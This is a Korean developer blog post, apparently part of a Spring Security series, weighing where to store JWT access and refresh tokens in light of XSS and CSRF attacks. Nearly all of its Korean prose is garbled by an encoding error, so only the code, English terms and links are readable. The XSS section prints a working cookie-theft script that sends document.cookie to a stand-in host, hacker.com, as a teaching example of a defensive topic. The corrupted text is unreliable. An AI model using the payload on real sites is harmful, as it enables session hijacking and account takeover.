์ผ | ์ | ํ | ์ | ๋ชฉ | ๊ธ | ํ |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- ํฐ์คํ ๋ฆฌ์ฑ๋ฆฐ์ง
- Python
- ํ๋ก๊ทธ๋๋ฐ
- ํ์ด์ฌ
- dmz๊ตฌ์ฑ
- ์ํ
- ๋ ์
- ๋คํธ์ํฌdmz
- ๋๊ฐ
- ์๋ฐ
- ๋ฐ์ดํฐ๋ฒ ์ด์ค
- ์ฝ๋ฉ
- ์นํผ๋ธ๋ฆฌ์ฑ
- dmz๋คํธ์ํฌ
- JavaScript
- html
- dmz๋
- ์ค๋ผํด
- css
- Java
- ๊ฐ๋ฐ
- ํ์ฒ์ ๋ฆฌํธ๋ฆฌํธ
- ์๋ฐ์คํฌ๋ฆฝํธ
- ์ ๋ฆฌํธ๋ฆฌํธ
- ๊ฐ์์ ์
- ์นดํ๋๊ฐ
- ์ค๋ธ์
- ๋ฐฉํ๋ฒฝdmz
- database
- ์ฑ
- Today
- Total
JiYoung Dev ๐ฅ
Spring Security ์ ์ฉ๊ธฐ (4) JWT(JSON Web Tokens) ์ด๋์ ์ ์ฅํ ๊ฒ์ธ๊ฐ? ๋ณธ๋ฌธ
Spring Security ์ ์ฉ๊ธฐ (4) JWT(JSON Web Tokens) ์ด๋์ ์ ์ฅํ ๊ฒ์ธ๊ฐ?
Shinjio 2024. 5. 2. 21:30์ด์ ํฌ์คํ ์์ JWT์ ๊ฐ๋ ์ ๋ํด ์์๋ณด์๋ค.
2024.04.29 - [Study/Java] - Spring Security ์ ์ฉ๊ธฐ (3) JWT(JSON Web Tokens) ๊ฐ๋
JWT ๊ตฌํ์ ์๊ฐํ๋ค๋ณด๋ access token๊ณผ refresh token์ ์ด๋์ ์ ์ฅํด์ผ ์ข์์ง์ ๋ํด ๊ณ ๋ฏผํ๊ฒ ๋์๋ค.
์ด์ ๊ด๋ จํ์ฌ ๋ง์ ๋ถ๋ค์ด ๊ณ ๋ฏผํ๊ณ ์์ฑํ ๊ธ๋ค์ด ์์ด ์ด๋ฅผ ์ดํดํ๊ณ ๋๋ ์ด๋ป๊ฒ ํ ๊ฒ์ธ์ง ๊ฒฐ๋ก ์ ๋ด๋ฆฌ๊ณ ์ ํ๋ค.
JWT ๋ฐ๊ธ ํ๋ก์ธ์ค
1. ํด๋ผ์ด์ธํธ๊ฐ ๋ก๊ทธ์ธ์ ์ธ์ฆ ์๋ฒ์์ Access Token๊ณผ Refresh Token์ ๋ฐ๊ธํ๋ค.
2. ์ดํ ์ฌ์ฉ์๋ API ์์ฒญ์ ์์ฒญ ํค๋์ Access Token์ ๋ฃ์ด ์์ฒญํ๋ค.
3. ์ ํจํ Token์ธ ๊ฒฝ์ฐ์๋ง ํด๋ผ์ด์ธํธ๋ ์ ์์ ์ผ๋ก ์์ฒญ์ ํ ์ ์๋ค.
4. ๋ง์ฝ Access Token์ ๋ง๋ฃ๋์๋ค๋ฉด, Refresh Token์ ๊ฒ์ฆํ์ฌ ๋ค์ Access Token์ ๋ฐ๊ธ ๋ฐ์ ์ ์๋ค.
๊ฐ๋จํ๊ฒ ์ ๋ฆฌํ JWT ๋ฐ๊ธ ํ๋ก์ธ์ค์ด๋ค. JWT์๋ ๊ฐ์ธ์ ๋ณด๋ฅผ ๋ด๊ณ ์๋๋ฐ, ์ธ์ฆ์๋ฒ/API์๋ฒ์ ํด๋ผ์ด์ธํธ๊ฐ ์์ฒญ๊ณผ ์๋ต์ ์ฃผ๊ณ ๋ฐ์ผ๋ฉด ํ์ทจ ๋ํ ์ผ์ด๋ ์ ์๋ค๋ ๋ฌธ์ ์ ์ด ์๋ค.
JWT ํ์ทจ์ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ
JWT๊ฐ ํ์ทจ๋๋ค๋ฉด ์ฌ๊ฐํ ๋ณด์ ์ํ์ด ๋ฐ์ํ ์ ์๋ค.
์ฒซ ๋ฒ์งธ๋ก ํ์ทจ๋ JWT๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ์๊ฐ ํด๋น ์ฌ์ฉ์๋ก ์์ฅํด ์์คํ ์ ์ ๊ทผํ ์ ์๋ค. ์ด๋ ์ฌ์ฉ์ ๊ณ์ ์ ๋ํ ๊ถํ์ ๊ฐ๋ก์ฑ๊ณ , ๊ทธ๋ค์ ๋ช ์๋ก ์ ์์ ์ธ ํ๋์ ํ ์ ์๋ค๋ ๋ป์ด๋ค.
๋ ๋ฒ์งธ, JWT์๋ ์ฌ์ฉ์ ์ ๋ณด๊ฐ ํฌํจ๋์ด ์์ผ๋ฏ๋ก ์ฌ์ฉ์์ ๊ฐ์ธ์ ๋ณด๊ฐ ๋ ธ์ถ๋ ์ ์๋ค.
์ด๋ ๊ฒ JWT๊ฐ ํ์ทจ๋ ์ ์๋ ์ฃผ์ ๊ณต๊ฒฉ์ผ๋ก XSS ๊ณต๊ฒฉ๊ณผ CSRF ๊ณต๊ฒฉ์ด ์๋ค.
๐ฅ XSS ๊ณต๊ฒฉ
XSS(Cross-site Scripting), ํฌ๋ก์ค ์ฌ์ดํธ ์คํฌ๋ฆฝํธ๋ ์น์ฌ์ดํธ์์ ์๋์น ์์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃ์ด์ ์คํ์ํค๋ ๊ธฐ๋ฒ์ ๋งํ๋ค. ์น ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ฌ์ฉ์๋ก๋ถํฐ ์ ๋ ฅ ๋ฐ์ ๊ฐ์ ์ ๋๋ก ๊ฒ์ฌํ์ง ์๊ณ ์ฌ์ฉํ ๊ฒฝ์ฐ ๋ฐ์ํ๋ค.
๊ณต๊ฒฉ ๊ฒฐ๊ณผ ์ฌ์ฉ์๋ ์๋์น ์์ ๋์์ ์ํํ๊ฑฐ๋ ์ฟ ํค, ์ธ์ ๋ฑ์ ์ ๋ณด๋ฅผ ํ์ทจ ๋นํ ์ ์๋ค.
๋ณดํต ๊ฒ์ํ์ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ๋ด๊ธด ๊ธ์ ์ฌ๋ฆฌ๋ ํํ๋ก ์ด๋ฃจ์ด์ง๋ฉฐ, ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋ ๊ธ์ ์ด์ด๋ณด๋ฉด ๋ธ๋ผ์ฐ์ ์์ ์์น ์๋ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ค. ์ด๋ฅผ ํตํด ์ ์ ์ ์ฟ ํค ์ ๋ณด๋ฅผ ํ์ทจํ๊ฑฐ๋, ์ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๋ API ํธ์ถ ๋ฑ์ ํ์๋ฅผ ํ ์ ์๋ค.
์๋ฅผ ๋ค์ด ๊ฒ์๊ธ์ ์๋์ ๊ฐ์ ํ๊ทธ๋ฅผ ๋ฃ๊ณ ๋๋ฅด๊ฒ๋ ์ ๋ํ๋ฉด javascript๊ฐ ์คํ๋๋๋ฐ
<a href="javascript:alert('hello world')">ํด๋ฆญํด๋ณด์ธ์</a>
์ฌ์ฉ์๋ ํด๋ฆญ ๊ฒฐ๊ณผ hello world๋ผ๋ alert ์ฐฝ์ ๋ณผ ์ ์์ง๋ง, ์ค์ ๋ก๋
<script>document.location='http://hacker.com/cookie?'+document.cookie</script>
์ฌ์ฉ์๊ฐ ๊ฐ์ง๊ณ ์๋ ์ฟ ํค ๋๋ LocalStorage ๊ฐ์ ํด์ปค์ ์๋ฒ๋ก ์ ์กํ ์ ์๊ฒ ๋๋ค.
๋ง์ฝ ์ฟ ํค ํน์ LocalStorage์ JWT๊ฐ ์ ์ฅ๋์ด ์๋ค๋ฉด JWT ๋ํ ํ์ทจ๋นํ ์ ์๋ค.
CSS ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๊ธฐ ์ํด ์๋์ ๊ฐ์ ๋ฐฉ์์ด ์๋ค.
1. ์ค์ํ ์ ๋ณด๋ ์ฟ ํค ๋์ ์๋ฒ์ ์ ์ฅํ๋ค.
2. ์ ๋ณด๋ฅผ ์ํธํํ๋ค.
3. httpOnly ์ต์ ์ ์ค์ ํ๋ค. (document.cookie๋ฅผ ์ด์ฉํด ์ฟ ํค์ ์ง์ ์ ๊ทผํ๋ ๊ฒ์ ๋ฐฉ์งํ๋ค.)
4. URL encoding์ด๋ ๋ฌธ์์ด์ ์นํํ๋ค.
๐ฅ CSRF(Cross-site Request Forgery)
์ฌ์ฉ์๊ฐ ์์ ์ ์์ง์๋ ๋ฌด๊ดํ๊ฒ ์นจ์ ์๊ฐ ์๋ํ ํ์๋ฅผ ์๋ฒ์ ์์ฒญํ๊ฒ ๋ง๋๋ ๊ณต๊ฒฉ์ด๋ค.
1. ์นจ์ ์๋ ์๋ฒ๋ก ๋์ด๊ฐ๋ ์๊ธ ์ ์ก์ ๋ํ ์์ฒญ์ ์กฐ์ํ๋ ค๊ณ ํ๋ค.
2. ์นจ์ ์๋ ํ์ดํผ๋งํฌ์ ์๊ธ ์ ์ก ์์ฒญ์ ๋ํ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ๊ณ ์ฌ์ดํธ์ ๋ก๊ทธ์ธํ ์ฌ๋๋ค์๊ฒ ์ ์กํ๋ค.
3. ์ฌ์ฉ์๊ฐ ๋งํฌ๋ฅผ ๋๋ฅด๋ฉด, ์๋์น ์๊ฒ ์๋ฒ๋ก ์๊ธ ์ ์ก ์์ฒญ์ ๋ณด๋ด๊ฒ ๋๋ค.
4. ์๋ฒ๋ ๋ก๊ทธ์ธ ๋ ์ฌ์ฉ์์ ์์ฒญ์ด๋ฏ๋ก ์ ์์ ์ผ๋ก ์ธ์ํ๊ณ ์ ์ก์ ์คํํ์ฌ ์นจ์ ์์๊ฒ ๋์ด ์ก๊ธ๋๋ค.
์ด๋ ๊ฒ CSRF๊ฐ ์คํ๋๋ ค๋ฉด ์๋ ์กฐ๊ฑด์ ๋ง์กฑํด์ผ ํ๋ค.
์ฒซ๋ฒ์งธ, ์ฌ์ฉ์๊ฐ ์ฌ์ดํธ์ ๋ก๊ทธ์ธํ ์ํ์ฌ์ผ ํ๋ค.
๋๋ฒ์งธ, ์ฌ์ฉ์๋ ์กฐ์๋ ํ์ด์ง์ ๋ฐฉ๋ฌธํด์ผ ํ๋ค
CSRF ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๊ธฐ ์ํด์๋ ์๋์ ๊ฐ์ ๋ฐฉ๋ฒ์ด ์๋ค.
1. ์์ฒญ ํค๋(Request Header)์ ๋๋ฉ์ธ์ด ์ผ์นํ๋์ง refferer ์์ฑ์ ๊ฒ์ฆํ๋ค. ๋ง์ฝ ๊ฐ์ ๋๋ฉ์ธ์ ์์ฒญ์ด ์๋๋ผ๋ฉด ์ฐจ๋จํ๋ค.
2. CSRF Token์ ์ฌ์ฉํ๋ค. ๋๋คํ UUID์ ๊ฐ์ ์์์ ๋์๋ฅผ ์ธ์ ์ ์ ์ฅํด๋๊ณ ํด๋น ๋์๊ฐ ์ ๋ฌ๋์ง ์์ผ๋ฉด ์์ฒญ์ ๊ฑฐ๋ถํ๋ค.
3. Security Token์ ์ฌ์ฉํ๋ค. ์ฌ์ฉ์ ์ธ์ ์ ์ํธํ๋ ๊ฐ์ ์ ์ฅํ๊ณ ์ฌ์ฉ์์ ์์ฒญ๋ง๋ค ํด๋น ์ํธํ๋ ๊ฐ์ ํฌํจ์์ผ ์ ์กํ๋ค. ์ดํ ์๋ฒ์์ ์์ฒญ์ ๋ฐ์ ๋๋ง๋ค ์ธ์ ์ ์ ์ฅ๋ ํ ํฐ ๊ฐ๊ณผ ์์ฒญ์ ์ ๋ฌ๋๋ ํ ํฐ ๊ฐ์ด ์ผ์นํ๋์ง ํ์ธํ๋ค.
๐ฅ XSS vs CSRF
๋ ๊ณต๊ฒฉ์ ๋น๊ตํ์๋ฉด
1. XSS๋ ์ฌ์ฉ์๊ฐ ํน์ ์ฌ์ดํธ๋ฅผ ์ ๋ขฐํ๊ธฐ ๋๋ฌธ์ ๋ฐ์ํ๋ ๋ฌธ์ ๋ผ๋ฉด,
→ ์ฌ์ฉ์๋ ํด๋น ์ฌ์ดํธ๋ฅผ ๋ฏฟ๊ณ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ๋ด๊ธด ๊ฒ์๋ฌผ์ ์ฝ์
CSRF๋ ํน์ ์ฌ์ดํธ๊ฐ ์ฌ์ฉ์๋ฅผ ์ ๋ขฐํ๊ธฐ ๋๋ฌธ์ ๋ฐ์ํ๋ ๋ฌธ์ ๋ค.
→ ์ฌ์ดํธ๊ฐ ์ฌ์ฉ์๊ฐ ์ธ์ฆ๋ ์ฌ์ฉ์์์ ๋ฏฟ๊ธฐ ๋๋ฌธ์ ์์กฐ๋ ์์ฒญ์ ์ํ
2. XSS๋ ํด๋ผ์ด์ธํธ์ ๋ธ๋ผ์ฐ์ ์์ ๋ฐ์ํ๋ ๋ฌธ์ ์ด๊ณ ,
→ ํด๋ผ์ด์ธํธ์ ๋ธ๋ผ์ฐ์ ๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์คํ
CSRF๋ ์๋ฒ์์ ๋ฐ์ํ๋ ๋ฌธ์ ์ด๋ค.
→ ์ ์ฑ ์์ฒญ์ ๋ฐ์ ์๋ฒ๊ฐ ํด๋น ์์ฒญ์ ์ํ
3. XSS๋ ์ฌ์ฉ์์ ์ฟ ํค๋ฅผ ํ์ทจํ ์ ์๊ณ ,
→ javascript(ex. document.cookie)๋ฅผ ํตํด ์ฟ ํค์ ์ ๊ทผ ๊ฐ๋ฅ
CSRF๋ ์๋ฒ๋ก๋ถํฐ ๊ถํ์ ํ์ทจํ ์ ์๋ค.
→ ์ฌ์ฉ์์ ๊ถํ ๋จ์ฉ
๊ทธ๋ ๋ค๋ฉด JWT๋ ์ด๋์ ์ ์ฅํ๋ ๊ฒ์ด ์ข์๊น?
JWT ์ ์ฅ ์์น
JWT๋ SessionStorage, LocalStorage, Cookies, private variable(๋น๊ณต๊ฐ ๋ณ์)์ ์ ์ฅํ ์ ์๋ค.
์ด ์ค์์๋ LocalStorage ํน์ Cookie์ ๋ง์ด ์ ์ฅํ๋ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
๊ทธ๋ผ ๊ฐ๊ฐ์ ์ ์ฅ ์์น์ ๋ํ ์ฐจ์ด๋ฅผ ์์๋ณด๋๋ก ํ์.
๐พ SessionStorage
ํ์ด์ง๋ฅผ ์๋ก๊ณ ์นจํ๊ฑฐ๋ ์ด๋ํ์ฌ๋ ํ ํฐ์ด ์ ์ง๋์ง๋ง ์๋ก์ด ํญ์์ ์ ์์ ์ธ์ ์ด ๋๋์ด์ง๊ณ , ๋ธ๋ผ์ฐ์ ๊ฐ ์ข ๋ฃ๋๋ ์๊ฐ ํ๋ฐ๋์ด ์ฌ์ฉ์ ๊ฒฝํ์ ์ข์ง ์๋ค.
๐พ LocalStorage
ํ์ด์ง๋ฅผ ์ด๋ํ๊ฑฐ๋ ๋ธ๋ผ์ฐ์ ๋ฅผ ๋ค์ ์์ํ์ฌ๋ ๋ง๋ฃ ์์ด ์ ์ง๋๋ค. ํ์ง๋ง ์ธ์ ์คํ ๋ฆฌ์ง์ ๋์ผํ๊ฒ ๋ชจ๋ ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ํตํด ์ ๊ทผํ ์ ์์ด XSS ๊ณต๊ฒฉ์ ์ทจ์ฝํ๋ค. ๊ทธ๋ฌ๋ LocalStorage์ ์ ์ฅ๋ ๋ฐ์ดํฐ๋ SameSite ์ฟ ํค ์์ฑ์ ์ฌ์ฉํ์ฌ ์๋ฒ๋ก ์ ์ก๋์ง ์๋๋ค. ๋ฐ๋ผ์ CSRF ๊ณต๊ฒฉ์๋ ์์ ํ๋ค.
๐พ Cookie
์ต์ ์์ด ๊ธฐ๋ณธ์ ์ผ๋ก ์๋๋๋ ์ฟ ํค๋ XSS, CSRF(์ฟ ํค๋ ์๋์ผ๋ก ๋ชจ๋ HTTP ์์ฒญ์ ํฌํจ๋๊ธฐ ๋๋ฌธ) ๋ชจ๋์ ์ทจ์ฝํ๋ค. ๊ทธ๋ฌ๋ Cookie๋ HttpOnly ์์ฑ ์ค์ ์ ํตํด script์์ Cookie๋ฅผ ์ ๊ทผ ๋ถ๊ฐ๋ฅํ๋๋ก ํ์ฌ XSS ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ ์ ์๋ค.
๋ฐ๋ฉด, CSRF ๋ฐฉ์ด๋ฅผ ์ํด์๋ ๊ฐ๋ฅํ ๋ฐฉ๋ฒ ์ค ํ๋๊ฐ JWT๋ฅผ Cookie๊ฐ ์๋ Header์ ๋ฃ๊ณ ์์ฒญ์ ๋ณด๋ด๋ ๊ฒ์ด๋ค. ์ด๋ด ๊ฒฝ์ฐ CSFR ๊ณต๊ฒฉ์ ํตํด ์ฟ ํค๊ฐ ์ ๋ฌ๋๋ ์๋ฒ์์๋ Cookie ๊ฐ์ ์ฌ์ฉํ์ง ์๊ธฐ ๋๋ฌธ์ CSRF๋ฅผ ํตํ ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ ์ ์๋ค. ํ์ง๋ง Header์ Cookie๋ฅผ ๋ฃ๊ธฐ ์ํด์๋ JS์์ ์์ฒญ์ ๋ณด๋ผ๋ HttpOnly ์ต์ ์ ํด์ ํด์ผ ํ๋ค.
๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก๋ ๋ฐฑ์๋์์ Secure, SameSite ์ต์ ๋ฑ์ ์ฌ์ฉํ์ฌ ํน์ ๋๋ฉ์ธ์์๋ง ์์ฒญ์ด ๊ฐ๋ฅํ๋๋ก ์ค์ ์ด ๊ฐ๋ฅํ๋ค.
Cookie SameSite
์ธ๋ถ ์ฌ์ดํธ์ ์ฟ ํค๋ฅผ ์ ์กํ ๋ฒ์๋ฅผ ์ค์ ํ ์ ์๋ค. ์์ฑ์ ์ด 3๊ฐ์ง๋ค.
1. Strict : ์ฟ ํค๋ฅผ ์ ๋ฌํ ๋ ํ์ฌ ํ์ด์ง ๋๋ฉ์ธ๊ณผ ์์ฒญ๋ฐ๋ ๋๋ฉ์ธ์ด ๊ฐ์์ผ ์ฟ ํค๋ฅผ ์ ์กํ๋ค.
2. Lax : Strict์์ <a href>, <link href>, GET Method ์์ฒญ์ ์ ์ธํ๊ณ ๋ Strict์ ๋์ผํ๋ค.
3. None : ๋๋ฉ์ธ์ ๊ฒ์ฆํ์ง ์๋๋ค. ๋์ secure ์ต์ ์ด ํ์๋ค.
๐พ Private Variable
๊ฐ์ฅ ์์ ํ์ง๋ง ํ์ด์ง๋ฅผ ์ด๋ํ๊ฑฐ๋, ์๋ก๊ณ ์นจ๋ง ํ์ฌ๋ ํ ํฐ ์ ๋ณด๊ฐ ํ๋ฐ๋์ด ์ฌ์ฉ์ ๊ฒฝํ์ ์ข์ง ์๋ค.
XSS์ CRSF๋ฅผ ๋ชจ๋ ๋ฐฉ์ดํ๊ธฐ ์ํด์๋ HttpOnly ์ต์ ์ด ์ค์ ๋ ์ฟ ํค์ JWT๋ฅผ ์ ์ฅํ๊ณ , ๋ฐฑ์๋์์ HttpOnly ์ต์ ๊ณผ SameSite Lax ์ค์ ์ ํตํด ํน์ ๋๋ฉ์ธ์์๋ง ์ ๊ทผ ๊ฐ๋ฅํ๋๋ก ํ๋ ๊ฒ์ด ์์ ํ ๊ฒ ๊ฐ๋ค๋ ์๊ฐ์ด ๋ ๋ค.
Refresh Token๊ณผ Access Token์ ๋ชจ๋ ์ฟ ํค์ ์ ์ฅํด?
์ด๋ฒ์ ๋๋ ์๊ฐ์ "Refresh Token๊ณผ Access Token์ ๋ชจ๋ ์ฟ ํค์ ์ ์ฅํด์ผ ํ๋๊ฐ?"์ด๋ค.
์ด๋ ๊ฒ ๋๋ฉด ์์ ํ๊ฒ ์ค์ ์ ํด๋์๋ค ํ๋๋ผ๋ ๋ณด์์ด ๋ซ๋ฆฌ๋ฉด ๋ชจ๋ ๊ฐ์ด ํ์ทจ๋นํ๊ฒ ๋๋๋ฐ ์ด๋ฅผ ๋ฐฉ์ดํ๊ธฐ ์ํด ์๋ก ๋ค๋ฅธ ์ ์ฅ์์ ์ ์ฅํด์ผ ํ๋ ๊ฒ์ด ์๋๊น ๋ผ๋ ์๊ฐ์ด๋ค.
๊ทธ๋์ ์๊ฐํ ๋ฐฉ๋ฒ์ ์๋ ๋๊ฐ์ง ๋ฐฉ๋ฒ์ด๋ค.
๋ฐฉ๋ฒ 1. Access Token : LocalStorage / Refresh Token : Cookie(HttpOnly, samesite-lax)
- ์ด ๊ฒฝ์ฐ ์๋ก๊ณ ์นจ์ ํ๊ฑฐ๋ ๋ธ๋ผ์ฐ์ ๋ฅผ ๋ค์ ์คํํด๋ ํ ํฐ์ ์ ์ฅํ๊ณ ์์ผ๋ฏ๋ก ์ฌ์ฉ์ ์ฌ์ฉ์ฑ์ด ์ฆ๊ฐํ๋ค.
- ๊ทธ๋ฌ๋ XSS๋ก ์ธํด Access Token์ ํ์ทจ๋นํ ์ ์๋ค. ๊ทธ๋ฌ๋ Refresh Token์ HttpOnly ์ต์ ์ผ๋ก ํ์ทจ๊ฐ ๋ถ๊ฐ๋ฅํ๋ค.
- ๋ํ ๋ ํ ํฐ ๋ชจ๋ CSRF์ ๋ํด์๋ ์ด๋์ ๋ ๋ณดํธ๊ฐ ๋๋ค.
๋ฐฉ๋ฒ 2. Access Token : ๋น๊ณต๊ฐ ๋ณ์ / Refresh Token : Cookie(HttpOnly, samesite-lax)
- ๋ ๊ฐ์ ํ ํฐ ๋ชจ๋ XSS์ CSRF์ ๋ํด ๋ฐฉ์ด๊ฐ ๋๋ค.
- ๊ทธ๋ฌ๋ Access Token์ ๊ฒฝ์ฐ ๋ธ๋ผ์ฐ์ ๋ฅผ ์๋ก๊ณ ์นจํ๊ฑฐ๋ ํ์ด์ง ์ด๋์ ํ ํฐ์ด ํ๋ฐ๋์ด Refresh Token ๊ฒ์ฆ์ด ์์ฃผ ์ผ์ด๋๋ฉฐ, Access Token์ ์์ฃผ ์์ฑํด์ผ ํ๋ฏ๋ก ์ฌ์ฉ์ ๊ฒฝํ์ด ์ ํ๋ ์ ์์ผ๋ฉฐ ์๋ฒ์ ์ถ๊ฐ์ ์ด ๋ถํ๊ฐ ๋ฐ์ํ ์ ์๋ค.
๊ทธ๋์ ๋์ ๊ฒฐ๋ก ์?
ํด๋น ๋ด์ฉ๋ค์ ์ข ํฉํ ๊ฒฐ๊ณผ์ด๋ค. (๋ฌผ๋ก ๋ด๊ฐ ์กฐ์ฌํ ๊ฒ์ด ๋ค๊ฐ ์๋ ์ ์๋ค.)
๊ทธ๋ฌ๋ ์ด์ ๊น์ง์ ๋ด์ฉ์ ํ ๋๋ก ์ ๋ฆฌ๋ฅผ ํ์ ๋, ๋๋ Access Token์ LocalStorage์ ์ ์ฅํ๊ณ , JWT์๋ ์ ํ๋ฒํธ์ ๊ฐ์ ๋ฏผ๊ฐํ ์ ๋ณด๋ ์ ์ฅํ์ง ์๊ณ , ๋ง๋ฃ์๊ฐ์ ๋ค์ ์งง๊ฒ ์ ์งํ๊ณ , Refresh Token์ Cookie์ ์ ์ฅํ๊ณ HttpOnly ์ต์ ๊ณผ Same-Site lax ์ค์ ์ ํตํด CSRF์ XSS์ ์ํ, ๋์ JWT ํ์ทจ์ ์ํ์ ๋ฐฉ์งํ๋๊ฒ ๋์ ๊ฒ์ด๋ผ ์๊ฐํ๋ค.
์ฐธ๊ณ ์๋ฃ
XSS์ CSRF ์ฐจ์ด์ ๋ฐ ๋์ ๋ฐฉ์
์น์ฌ์ดํธ์์ ์๋์น ์์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃ์ด์ ์คํ์ํค๋ ๊ธฐ๋ฒ์ ๋งํฉ๋๋ค.์น ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ฌ์ฉ์๋ก๋ถํฐ ์ ๋ ฅ ๋ฐ์ ๊ฐ์ ์ ๋๋ก ๊ฒ์ฌํ์ง ์๊ณ ์ฌ์ฉํ ๊ฒฝ์ฐ ๋ฐ์ํ๋ฉฐ, ๊ฒฐ๊ณผ๋ก ์ฌ์ฉ์๋ ์
velog.io
https://prolog.techcourse.co.kr/studylogs/2272
์ฐ์ํํ ํฌ์ฝ์ค ํ์ต๋ก๊ทธ ์ ์ฅ์
์ฐ์ํํ ํฌ์ฝ์ค ํฌ๋ฃจ๋ค์ด ๋ฐฐ์ด ๋ด์ฉ์ ๊ธฐ๋กํ๋ ํ์ต๋ก๊ทธ ์ ์ฅ์์ ๋๋ค.
prolog.techcourse.co.kr
https://cjw-awdsd.tistory.com/48
JWT ์ ์ฅ์์ ๋ํ ๊ณ ๋ฏผ(feat. XSS, CSRF)
์ต๊ทผ REST API ์๋ฒ๋ฅผ ๊ตฌํํ๋ฉฐ Spring Security๋ก JWT ์ธ์ฆ์ ๊ตฌํํ๋ค. Access_Token, Refresh_Token์ ์ด๋๋ค ์ ์ฅํ ์ง์ ๋ํด ๊ณ ๋ฏผํ๋ค CSRF์ ๋ํ ๊ธ๊ธ์ฆ๊น์ง ์๊ธฐ๊ฒ ๋์ด ๊ณต๋ถ๋ฅผ ํ๋ค. ์ด๋ฒ ํฌ์คํ ์ JWT์
cjw-awdsd.tistory.com